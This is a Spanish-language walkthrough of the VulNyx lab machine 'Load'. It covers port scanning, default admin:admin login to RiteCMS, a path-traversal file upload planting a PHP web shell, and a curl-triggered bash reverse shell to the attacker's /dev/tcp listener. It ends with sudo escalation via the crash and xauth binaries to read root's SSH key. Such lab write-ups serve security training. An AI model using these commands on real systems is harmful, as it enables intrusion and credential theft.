VulNyx - Load
- RiteCMS 3.1.0 - Remote Code Execution (Authenticated)
- Abusing Crash Binary - Sudo Pivoting
- Abusing Xauth Binary - Sudo Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/ritedev/
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
En el escaneo de servicios puedo ver el archivo robots.txt
, dentro contiene la siguiente ruta /ritedev
. Si navego a la nueva ruta veo RiteCMS y la versión v3.0.
Antes de buscar algún exploit realizo fuerza bruta de extensiones.
❯ gobuster dir -u http://192.168.1.14/ritedev/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.14/ritedev/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/media (Status: 301) [Size: 320] [--> http://192.168.1.14/ritedev/media/]
/templates (Status: 301) [Size: 324] [--> http://192.168.1.14/ritedev/templates/]
/files (Status: 301) [Size: 320] [--> http://192.168.1.14/ritedev/files/]
/data (Status: 301) [Size: 319] [--> http://192.168.1.14/ritedev/data/]
/admin.php (Status: 200) [Size: 1098]
/cms (Status: 301) [Size: 318] [--> http://192.168.1.14/ritedev/cms/]
/.php (Status: 403) [Size: 277]
Navego hacia /admin.php
y veo un panel de login.
Consigo acceder al panel usando credenciales por defecto admin:admin
.
Si busco en internet RiteCMS 3.0 exploit encuentro este exploit, en la descripción explica varios métodos para subir una shell.
Me voy a ADMINISTRATION y hago click en Files Manager.
Entro en Upload file.
Doy click en examinar y selecciono cmd.php
.
Intercepto la petición con BurpSuite y en el apartado Content-Disposition: file_name añado ../shell.php
, manipulando este apartado se subirá el archivo renombrado al directorio raíz de la web ya que el directorio raíz si interpreta código php.
Obtengo ejecución remota de comandos como usuario www-data
.
Uso curl para mandarme la shell.
❯ curl 'http://192.168.1.14/ritedev/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.13%2F1337%200%3E%261%27'
Obtengo la shell
❯ nc -lvp 1337
listening on [any] 1337 ...
connect to [192.168.1.13] from load.nyx [192.168.1.14] 36744
bash: cannot set terminal process group (515): Inappropriate ioctl for device
bash: no job control in this shell
www-data@load:/var/www/html/ritedev$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@load:/var/www/html/ritedev$
Después de hacer el tratamiento para la tty enumero permisos de sudo.
La herramienta gtfobinscli.py
me muestra la forma de pasar de usuario www-data a travis.
Sigo los pasos y lanzo el binario crash como usuario travis con la flag -h
.
www-data@load:/var/www/html/ritedev$ sudo -u travis /usr/bin/crash -h
Se abre esta ventana y escribo !bash.
Consigo una shell como usuario travis.
Enumero de nuevo permisos de sudo.
Lanzo el binario xauth y seguidamente escribo ? para ver los comandos disponibles.
Con source consigo leer la llave rsa del usuario root.
Guardo la llave rsa como id_rsa_root
.
Obtengo el root usando la llave rsa.
Y aquí termina la máquina Load.
Saludos!